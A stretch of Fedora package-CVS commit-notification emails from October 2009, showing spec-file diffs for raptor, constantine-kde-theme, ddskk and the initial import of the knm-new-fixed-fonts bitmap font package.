* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-6
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Thu Mar 26 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-5
- Clean up a spec file.
- Rebuild to correct autoprovides (#491966)

* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Tue Oct 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-3
- Remove the upstream's dead link from the spec file. (#353941)

* Fri Sep  7 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-2
- clean up

* Thu Aug 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-1
- Split up from fonts-japanese.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:08:08 -0000	1.1
+++ .cvsignore	29 Oct 2009 06:03:07 -0000	1.2
@@ -0,0 +1 @@
+knm_new.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:08:09 -0000	1.1
+++ sources	29 Oct 2009 06:03:10 -0000	1.2
@@ -0,0 +1 @@
+065920714d022cfd225feb6d80b03238  knm_new.tar.gz



From oget at fedoraproject.org  Thu Oct 29 06:07:46 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 06:07:46 +0000 (UTC)
Subject: rpms/raptor/devel raptor-config-multilib.patch, NONE,
	1.1 raptor.spec, 1.17, 1.18
Message-ID: <20091029060746.C96F111C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/raptor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1934

Modified Files:
	raptor.spec 
Added Files:
	raptor-config-multilib.patch 
Log Message:
* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
- Fix multilib conflict (RHBZ#477342)


raptor-config-multilib.patch:
 raptor-config.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE raptor-config-multilib.patch ---
diff -rupN raptor-1.4.18.old/src/raptor-config.in raptor-1.4.18/src/raptor-config.in
--- raptor-1.4.18.old/src/raptor-config.in	2007-01-05 23:02:00.000000000 -0500
+++ raptor-1.4.18/src/raptor-config.in	2009-10-29 01:47:57.000000000 -0400
@@ -130,11 +130,11 @@ if test "$echo_options" = "yes"; then
   done
 fi
 if test "$echo_libs" = "yes"; then
-  echo -L at libdir@ -lraptor
+  pkg-config --libs raptor
 fi
 if test "$echo_libtool_libs" = "yes"; then
-  echo @libdir@/@RAPTOR_LIBTOOLLIBS@
+  echo
 fi
 if test "$echo_private_libs" = "yes"; then
-  echo @LIBS@
+  pkg-config --libs --static raptor
 fi


Index: raptor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/raptor/devel/raptor.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- raptor.spec	27 Jul 2009 02:47:27 -0000	1.17
+++ raptor.spec	29 Oct 2009 06:07:45 -0000	1.18
@@ -1,10 +1,12 @@
 Summary:       Raptor RDF Parser Toolkit for Redland
 Name:          raptor
 Version:       1.4.18
-Release:       4%{?dist}
+Release:       5%{?dist}
 License:       LGPLv2+ or ASL 2.0
 Group:         System Environment/Libraries
 Source:        http://download.librdf.org/source/raptor-%{version}.tar.gz
+# Make the raptor-config file multilib friendly (RHBZ#477342)
+Patch0:        raptor-config-multilib.patch
 URL:           http://librdf.org/raptor/
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libxml2-devel libxslt-devel curl-devel
@@ -27,6 +29,7 @@ RDF/XML or N-Triples.
 
 %prep
 %setup -q
+%patch0 -p1 -b .multilib
 
 # hack to nuke rpaths
 %if "%{_libdir}" != "/usr/lib"
@@ -72,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/raptor-config
 
 %changelog
+* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
+- Fix multilib conflict (RHBZ#477342)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.18-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Thu Oct 29 06:08:43 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu, 29 Oct 2009 06:08:43 +0000 (UTC)
Subject: rpms/constantine-kde-theme/F-12 constantine-kde-theme.spec,1.8,1.9
Message-ID: <20091029060843.9154511C008B@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/constantine-kde-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3190/F-12

Modified Files:
	constantine-kde-theme.spec 
Log Message:
Restore Than's F13 dep fixes (need to provide the system-*-theme virtual Provides until we have a new F13 theme).


Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/constantine-kde-theme.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- constantine-kde-theme.spec	28 Oct 2009 18:58:27 -0000	1.8
+++ constantine-kde-theme.spec	29 Oct 2009 06:08:43 -0000	1.9
@@ -19,6 +19,13 @@ Requires:	constantine-backgrounds-kde >=
 Provides:	constantine-kdm-theme = %{version}-%{release}
 Provides:	constantine-ksplash-theme = %{version}-%{release}
 
+# replace it later for F13
+%if 0%{?fedora} > 12
+Provides:   system-kde-theme = %{version}-%{release}
+Provides:   system-kdm-theme = %{version}-%{release}
+Provides:   system-ksplash-theme = %{version}-%{release}
+%endif
+
 %if 0%{?fedora} == 12
 Provides:	system-kde-theme = %{version}-%{release}
 Provides:	system-kdm-theme = %{version}-%{release}
@@ -113,6 +120,9 @@ rm -rf %{buildroot}
 - Constantine Smile KSplash Theme
 - Constantine Loadme! login screen Theme
 
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 12.0.0-2
+- fix deps
+
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
 - fix deps, depend only on (newer) constantine-backgrounds-kde
 



From kkofler at fedoraproject.org  Thu Oct 29 06:08:43 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu, 29 Oct 2009 06:08:43 +0000 (UTC)
Subject: rpms/constantine-kde-theme/devel constantine-kde-theme.spec, 1.9,
	1.10
Message-ID: <20091029060843.DA6C811C008B@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/constantine-kde-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3190/devel

Modified Files:
	constantine-kde-theme.spec 
Log Message:
Restore Than's F13 dep fixes (need to provide the system-*-theme virtual Provides until we have a new F13 theme).


Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/constantine-kde-theme.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- constantine-kde-theme.spec	28 Oct 2009 19:03:36 -0000	1.9
+++ constantine-kde-theme.spec	29 Oct 2009 06:08:43 -0000	1.10
@@ -19,6 +19,13 @@ Requires:	constantine-backgrounds-kde >=
 Provides:	constantine-kdm-theme = %{version}-%{release}
 Provides:	constantine-ksplash-theme = %{version}-%{release}
 
+# replace it later for F13
+%if 0%{?fedora} > 12
+Provides:   system-kde-theme = %{version}-%{release}
+Provides:   system-kdm-theme = %{version}-%{release}
+Provides:   system-ksplash-theme = %{version}-%{release}
+%endif
+
 %if 0%{?fedora} == 12
 Provides:	system-kde-theme = %{version}-%{release}
 Provides:	system-kdm-theme = %{version}-%{release}
@@ -113,6 +120,9 @@ rm -rf %{buildroot}
 - Constantine Smile KSplash Theme
 - Constantine Loadme! login screen Theme
 
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 12.0.0-2
+- fix deps
+
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
 - fix deps, depend only on (newer) constantine-backgrounds-kde
 



From oget at fedoraproject.org  Thu Oct 29 06:08:37 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 06:08:37 +0000 (UTC)
Subject: rpms/raptor/F-12 raptor-config-multilib.patch, NONE, 1.1 raptor.spec,
	1.17, 1.18
Message-ID: <20091029060837.52A9611C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/raptor/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3113

Modified Files:
	raptor.spec 
Added Files:
	raptor-config-multilib.patch 
Log Message:
* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
- Fix multilib conflict (RHBZ#477342)


raptor-config-multilib.patch:
 raptor-config.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE raptor-config-multilib.patch ---
diff -rupN raptor-1.4.18.old/src/raptor-config.in raptor-1.4.18/src/raptor-config.in
--- raptor-1.4.18.old/src/raptor-config.in	2007-01-05 23:02:00.000000000 -0500
+++ raptor-1.4.18/src/raptor-config.in	2009-10-29 01:47:57.000000000 -0400
@@ -130,11 +130,11 @@ if test "$echo_options" = "yes"; then
   done
 fi
 if test "$echo_libs" = "yes"; then
-  echo -L at libdir@ -lraptor
+  pkg-config --libs raptor
 fi
 if test "$echo_libtool_libs" = "yes"; then
-  echo @libdir@/@RAPTOR_LIBTOOLLIBS@
+  echo
 fi
 if test "$echo_private_libs" = "yes"; then
-  echo @LIBS@
+  pkg-config --libs --static raptor
 fi


Index: raptor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/raptor/F-12/raptor.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- raptor.spec	27 Jul 2009 02:47:27 -0000	1.17
+++ raptor.spec	29 Oct 2009 06:08:37 -0000	1.18
@@ -1,10 +1,12 @@
 Summary:       Raptor RDF Parser Toolkit for Redland
 Name:          raptor
 Version:       1.4.18
-Release:       4%{?dist}
+Release:       5%{?dist}
 License:       LGPLv2+ or ASL 2.0
 Group:         System Environment/Libraries
 Source:        http://download.librdf.org/source/raptor-%{version}.tar.gz
+# Make the raptor-config file multilib friendly (RHBZ#477342)
+Patch0:        raptor-config-multilib.patch
 URL:           http://librdf.org/raptor/
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libxml2-devel libxslt-devel curl-devel
@@ -27,6 +29,7 @@ RDF/XML or N-Triples.
 
 %prep
 %setup -q
+%patch0 -p1 -b .multilib
 
 # hack to nuke rpaths
 %if "%{_libdir}" != "/usr/lib"
@@ -72,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/raptor-config
 
 %changelog
+* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
+- Fix multilib conflict (RHBZ#477342)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.18-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From petersen at fedoraproject.org  Thu Oct 29 06:28:37 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu, 29 Oct 2009 06:28:37 +0000 (UTC)
Subject: rpms/ddskk/devel ddskk.spec,1.15,1.16
Message-ID: <20091029062837.E56A611C008B@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/extras/rpms/ddskk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12477

Modified Files:
	ddskk.spec 
Log Message:
re-enable xemacs since it has apel-10.7 now


Index: ddskk.spec
===================================================================
RCS file: /cvs/extras/rpms/ddskk/devel/ddskk.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- ddskk.spec	24 Jul 2009 20:06:33 -0000	1.15
+++ ddskk.spec	29 Oct 2009 06:28:36 -0000	1.16
@@ -1,6 +1,6 @@
 # [for Emacs] -*- coding: utf-8 -*-
 
-%bcond_with xemacs
+%bcond_without xemacs
 
 %define	apel_minver 10.7
 
@@ -11,7 +11,7 @@
 Summary: Daredevil SKK - Simple Kana to Kanji conversion program for Emacs
 Name: ddskk
 Version: 13.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: Applications/Editors
 URL: http://openlab.ring.gr.jp/skk/main.html
@@ -123,6 +123,9 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Jens Petersen <petersen at redhat.com> - 13.1-3
+- re-enable xemacs since it has apel-10.7 now
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 13.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tagoh at fedoraproject.org  Thu Oct 29 06:37:08 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 06:37:08 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/F-12 import.log, NONE,
	1.1 knm-new-fixed-fonts-fontconfig.conf, NONE,
	1.1 knm-new-fixed-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029063708.F3F1511C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16040/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log knm-new-fixed-fonts-fontconfig.conf 
	knm-new-fixed-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
knm-new-fixed-fonts-1_1-8_fc13:F-12:knm-new-fixed-fonts-1.1-8.fc13.src.rpm:1256796979


--- NEW FILE knm-new-fixed-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <match>
    <test name="lang">
      <string>ja-jp</string>
    </test>
    <test name="family">
      <string>monospace</string>
    </test>
    <edit name="family" mode="prepend" binding="same">
      <string>Fixed</string>
    </edit>
  </match>
  <alias>
    <family>Fixed</family>
    <default>
      <family>monospace</family>
    </default>
  </alias>
</fontconfig>



--- NEW FILE knm-new-fixed-fonts.spec ---
%global		priority	69
%global		fontname	knm-new-fixed
%global		fontconf	%{priority}-%{fontname}.conf
%global		catalogue	%{_sysconfdir}/X11/fontpath.d

Name:		%{fontname}-fonts
Version:	1.1
Release:	8%{?dist}

Summary:	12x12 JIS X 0208 Bitmap fonts
Group:		User Interface/X
License:	GPL+

## the following upstream URL is a dead link anymore.
#URL:		http://www.din.or.jp/~storm/fonts/
#Source0:	http://www.din.or.jp/~storm/fonts/knm_new.tar.gz
Source0:	knm_new.tar.gz
Source1:	%{name}-fontconfig.conf
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch
BuildRequires:	mkfontdir fontpackages-devel

Requires:	fontpackages-filesystem
Conflicts:	fonts-japanese <= 0.20061016-11.fc8
Obsoletes:	knm_new <= 1.1-16 knm_new-fonts < 1.1-7

%description
This package provides 12x12 Japanese bitmap fonts for JIS X 0208.
The JIS X 0208 character set contains the most often used Kanji glyphs.


%prep
%setup -q -T -c -a 0

%build

%install
rm -rf $RPM_BUILD_ROOT

install -m 0755 -d $RPM_BUILD_ROOT%{_fontdir}
install -m 0755 -d $RPM_BUILD_ROOT%{catalogue}

install -m 0644 -p fonts/*.pcf.gz $RPM_BUILD_ROOT%{_fontdir}/

install -m 0755 -d	$RPM_BUILD_ROOT%{_fontconfig_templatedir}	\
			$RPM_BUILD_ROOT%{_fontconfig_confdir}
install -m 0644 -p	%{SOURCE1}	\
			$RPM_BUILD_ROOT%{_fontconfig_templatedir}/%{fontconf}

ln -s	%{_fontconfig_templatedir}/%{fontconf}	\
	$RPM_BUILD_ROOT%{_fontconfig_confdir}/%{fontconf}

mkfontdir $RPM_BUILD_ROOT%{_fontdir}

# Install catalogue symlink
ln -s -f %{_fontdir} $RPM_BUILD_ROOT%{catalogue}/%{fontname}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.pcf.gz

%lang(ja) %doc fonts/readme fonts/changes
%doc fonts/gtkrc.sample
%verify(not md5 size mtime) %{_fontdir}/fonts.dir
%{catalogue}/*


%changelog
* Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
- Improve the spec file etc to pass the package review.

* Tue Oct 13 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-7
- Renaming to satisfy the naming schema in the fontpackages policy.

* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-6
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Thu Mar 26 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-5
- Clean up a spec file.
- Rebuild to correct autoprovides (#491966)

* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Tue Oct 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-3
- Remove the upstream's dead link from the spec file. (#353941)

* Fri Sep  7 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-2
- clean up

* Thu Aug 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-1
- Split up from fonts-japanese.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:08:08 -0000	1.1
+++ .cvsignore	29 Oct 2009 06:37:07 -0000	1.2
@@ -0,0 +1 @@
+knm_new.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:08:09 -0000	1.1
+++ sources	29 Oct 2009 06:37:08 -0000	1.2
@@ -0,0 +1 @@
+065920714d022cfd225feb6d80b03238  knm_new.tar.gz



From tagoh at fedoraproject.org  Thu Oct 29 07:19:56 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 07:19:56 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/F-11 import.log, NONE,
	1.1 knm-new-fixed-fonts-fontconfig.conf, NONE,
	1.1 knm-new-fixed-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029071956.3CAA911C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2720/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log knm-new-fixed-fonts-fontconfig.conf 
	knm-new-fixed-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
knm-new-fixed-fonts-1_1-8_fc13:F-11:knm-new-fixed-fonts-1.1-8.fc13.src.rpm:1256799623


--- NEW FILE knm-new-fixed-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <match>
    <test name="lang">
      <string>ja-jp</string>
    </test>
    <test name="family">
      <string>monospace</string>
    </test>
    <edit name="family" mode="prepend" binding="same">
      <string>Fixed</string>
    </edit>
  </match>
  <alias>
    <family>Fixed</family>
    <default>
      <family>monospace</family>
    </default>
  </alias>
</fontconfig>



--- NEW FILE knm-new-fixed-fonts.spec ---
%global		priority	69
%global		fontname	knm-new-fixed
%global		fontconf	%{priority}-%{fontname}.conf
%global		catalogue	%{_sysconfdir}/X11/fontpath.d

Name:		%{fontname}-fonts
Version:	1.1
Release:	8%{?dist}

Summary:	12x12 JIS X 0208 Bitmap fonts
Group:		User Interface/X
License:	GPL+

## the following upstream URL is a dead link anymore.
#URL:		http://www.din.or.jp/~storm/fonts/
#Source0:	http://www.din.or.jp/~storm/fonts/knm_new.tar.gz
Source0:	knm_new.tar.gz
Source1:	%{name}-fontconfig.conf
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch
BuildRequires:	mkfontdir fontpackages-devel

Requires:	fontpackages-filesystem
Conflicts:	fonts-japanese <= 0.20061016-11.fc8
Obsoletes:	knm_new <= 1.1-16 knm_new-fonts < 1.1-7

%description
This package provides 12x12 Japanese bitmap fonts for JIS X 0208.
The JIS X 0208 character set contains the most often used Kanji glyphs.


%prep
%setup -q -T -c -a 0

%build

%install
rm -rf $RPM_BUILD_ROOT

install -m 0755 -d $RPM_BUILD_ROOT%{_fontdir}
install -m 0755 -d $RPM_BUILD_ROOT%{catalogue}

install -m 0644 -p fonts/*.pcf.gz $RPM_BUILD_ROOT%{_fontdir}/

install -m 0755 -d	$RPM_BUILD_ROOT%{_fontconfig_templatedir}	\
			$RPM_BUILD_ROOT%{_fontconfig_confdir}
install -m 0644 -p	%{SOURCE1}	\
			$RPM_BUILD_ROOT%{_fontconfig_templatedir}/%{fontconf}

ln -s	%{_fontconfig_templatedir}/%{fontconf}	\
	$RPM_BUILD_ROOT%{_fontconfig_confdir}/%{fontconf}

mkfontdir $RPM_BUILD_ROOT%{_fontdir}

# Install catalogue symlink
ln -s -f %{_fontdir} $RPM_BUILD_ROOT%{catalogue}/%{fontname}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.pcf.gz

%lang(ja) %doc fonts/readme fonts/changes
%doc fonts/gtkrc.sample
%verify(not md5 size mtime) %{_fontdir}/fonts.dir
%{catalogue}/*


%changelog
* Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
- Improve the spec file etc to pass the package review.

* Tue Oct 13 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-7
- Renaming to satisfy the naming schema in the fontpackages policy.

* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-6
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Thu Mar 26 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-5
- Clean up a spec file.
- Rebuild to correct autoprovides (#491966)

* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Tue Oct 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-3
- Remove the upstream's dead link from the spec file. (#353941)

* Fri Sep  7 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-2
- clean up

* Thu Aug 30 2007 Akira TAGOH <tagoh at redhat.com> - 1.1-1
- Split up from fonts-japanese.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:08:08 -0000	1.1
+++ .cvsignore	29 Oct 2009 07:19:54 -0000	1.2
@@ -0,0 +1 @@
+knm_new.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/knm-new-fixed-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:08:09 -0000	1.1
+++ sources	29 Oct 2009 07:19:55 -0000	1.2
@@ -0,0 +1 @@
+065920714d022cfd225feb6d80b03238  knm_new.tar.gz



From petersen at fedoraproject.org  Thu Oct 29 07:25:17 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu, 29 Oct 2009 07:25:17 +0000 (UTC)
Subject: rpms/ddskk/devel ddskk.spec,1.16,1.17
Message-ID: <20091029072517.EEFCE11C008B@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/extras/rpms/ddskk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5764

Modified Files:
	ddskk.spec 
Log Message:
drop apel-xemacs apel_minver for now until xemacs-packages-extras.spec updated


Index: ddskk.spec
===================================================================
RCS file: /cvs/extras/rpms/ddskk/devel/ddskk.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- ddskk.spec	29 Oct 2009 06:28:36 -0000	1.16
+++ ddskk.spec	29 Oct 2009 07:25:16 -0000	1.17
@@ -21,7 +21,9 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 BuildArch: noarch
 BuildRequires: emacs, apel >= %{apel_minver}
 %if %{with xemacs}
-BuildRequires: xemacs, apel-xemacs >= %{apel_minver}
+BuildRequires: xemacs
+#BuildRequires: apel-xemacs >= %{apel_minver}
+BuildRequires: apel-xemacs
 %endif
 Requires: apel >= %{apel_minver}
 Requires(post): /sbin/install-info
@@ -124,7 +126,7 @@ fi
 
 %changelog
 * Thu Oct 29 2009 Jens Petersen <petersen at redhat.com> - 13.1-3
-- re-enable xemacs since it has apel-10.7 now
+- re-enable xemacs since it has apel-10.7 now (without apel_minver)
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 13.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From tagoh at fedoraproject.org  Thu Oct 29 07:29:45 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 07:29:45 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/F-10 import.log, NONE,
	1.1 knm-new-fixed-fonts-fontconfig.conf, NONE,
	1.1 knm-new-fixed-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029072945.EEBF311C008B@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7007/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log knm-new-fixed-fonts-fontconfig.conf 
	knm-new-fixed-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
knm-new-fixed-fonts-1_1-8_fc13:F-10:knm-new-fixed-fonts-1.1-8.fc13.src.rpm:1256800878


--- NEW FILE knm-new-fixed-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <match>
    <test name="lang">
      <string>ja-jp</string>
    </test>
    <test name="family">
      <string>monospace</string>
    </test>
    <edit name="family" mode="prepend" binding="same">
      <string>Fixed</string>
    </edit>
  </match>
  <alias>
    <family>Fixed</family>
    <default>
      <family>monospace</family>
    </default>
  </alias>
</fontconfig>



--- NEW FILE knm-new-fixed-fonts.spec ---
%global		priority	69
%global		fontname	knm-new-fixed
%global		fontconf	%{priority}-%{fontname}.conf
%global		catalogue	%{_sysconfdir}/X11/fontpath.d

Name:		%{fontname}-fonts
Version:	1.1
Release:	8%{?dist}

Summary:	12x12 JIS X 0208 Bitmap fonts
Group:		User Interface/X
License:	GPL+

## the following upstream URL is a dead link anymore.
#URL:		http://www.din.or.jp/~storm/fonts/
#Source0:	http://www.din.or.jp/~storm/fonts/knm_new.tar.gz
Source0:	knm_new.tar.gz
Source1:	%{name}-fontconfig.conf
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch
BuildRequires:	mkfontdir fontpackages-devel

Requires:	fontpackages-filesystem
Conflicts:	fonts-japanese <= 0.20061016-11.fc8
Obsoletes:	knm_new <= 1.1-16 knm_new-fonts < 1.1-7

%description
This package provides 12x12 Japanese bitmap fonts for JIS X 0208.
The JIS X 0208 character set contains the most often used Kanji glyphs.


%prep
%setup -q -T -c -a 0

%build

%install
rm -rf $RPM_BUILD_ROOT

install -m 0755 -d $RPM_BUILD_ROOT%{_fontdir}
install -m 0755 -d $RPM_BUILD_ROOT%{catalogue}

install -m 0644 -p fonts/*.pcf.gz $RPM_BUILD_ROOT%{_fontdir}/

install -m 0755 -d	$RPM_BUILD_ROOT%{_fontconfig_templatedir}	\
			$RPM_BUILD_ROOT%{_fontconfig_confdir}
install -m 0644 -p	%{SOURCE1}	\
			$RPM_BUILD_ROOT%{_fontconfig_templatedir}/%{fontconf}

ln -s	%{_fontconfig_templatedir}/%{fontconf}	\
	$RPM_BUILD_ROOT%{_fontconfig_confdir}/%{fontconf}

mkfontdir $RPM_BUILD_ROOT%{_fontdir}

# Install catalogue symlink
ln -s -f %{_fontdir} $RPM_BUILD_ROOT%{catalogue}/%{fontname}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.pcf.gz

%lang(ja) %doc fonts/readme fonts/changes
%doc fonts/gtkrc.sample
%verify(not md5 size mtime) %{_fontdir}/fonts.dir
%{catalogue}/*


%changelog
* Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
